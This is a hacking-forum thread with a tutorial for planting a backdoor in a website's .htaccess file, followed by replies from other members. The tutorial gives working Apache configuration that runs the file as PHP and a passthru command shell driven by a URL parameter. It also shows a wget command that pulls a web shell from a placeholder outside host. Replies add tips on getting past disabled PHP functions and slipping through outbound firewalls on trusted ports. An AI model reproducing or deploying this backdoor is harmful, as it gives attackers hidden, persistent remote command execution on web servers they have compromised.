[133720]

Firstly,I want to say thank my friend Mr.Sample

In this Tutorial we will create Backdoor in .htaccess(Hypertext access)

Go public_html in shell and need to edit the .htaccess. 😁

Code

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

Add or Save code in .htaccess.

[img]http://s22.postimg.org/beekb7owh/image.jpg[/img]

And need to type CMD Commands like this

Code

yoursite.com/.htaccess?cmd=

For Shell Upolad

Code

yoursite.com/.htaccess?cmd=wget -O simple.php http://yourothersitewithshell/yourshell.txt

[img]http://s24.postimg.org/pjoyqsahh/image.jpg[/img]

okay now you can access your shell..

[img]http://s14.postimg.org/avylus3kx/image.png[/img]

Have Fun!
👍👍

[Bat™]

Informative thread, btw can you make a thread for bypassing outbound firewalls?

[Toasties]

nice tutorial, it looks good as :D
dam it, close to first psot ahha

[133720]

nice tutorial, it looks good as :D
dam it, close to first psot ahha

You are Welcome.
Thanks for feedback.

Informative thread, btw can you make a thread for bypassing outbound firewalls?

i need to learn for write.
Thanks about feedback

👍

[Flaaffy]

i dont get the point of this. Any admin with a tiny bit of knowledge can pick this up.

[BeggFoMercy]

It's pickable by any admin , YES , But I think It's still some good way of injecting a tiny shell into a .htaccess .

[Flaaffy]

It's pickable by any admin , YES , But I think It's still some good way of injecting a tiny shell into a backdoor .

> injecting a tiny shell into a backdoor

are you on shrooms?

[Bat™]

It's pickable by any admin , YES , But I think It's still some good way of injecting a tiny shell into a backdoor .

Are you really Legion Teacher 'BeggFoMercy'?

[Skorp]

Everyone is in Legion nowadays, no suprise.

[VipVince]

Judging from them directory names, I am more intrigued to which website this is...

[๖ۣۜXilluX]

Yes looks like a nice Thread ! :) Thanks for the share.

[133720]

Thanks, for posting! :D
The tutorial, is good :^)

Thanks for feedback.
I hope will help you when you make backdoor in htaccess

[BeggFoMercy]

> injecting a tiny shell into a backdoor

are you on shrooms?

Uhmm , It was a typing mistake , I was on Marijuana xD .

[ghost of christmas past]

This is a nice little trick, I find. Although, the PHP backdoor script you used isn't the best, as passthru() could be disabled, it's always best to try all the options as you may only get one chance.

Oh yeah, in your example you went:
1. Create .htaccess from shell.
2. Wget the same shell from .htacess.
3. Go back to shell.
I just found that funny.

Nevertheless, nice write-up.

---

Informative thread, btw can you make a thread for bypassing outbound firewalls?

Use trusted ports (443, 80, 8080, 8181, etc.) or just hijack a socket.

[๖ۣۜScarface]

Pretty interesting, thanks :)

Judging from them directory names, I am more intrigued to which website this is...

Yeah, I'm curious about it too 🎉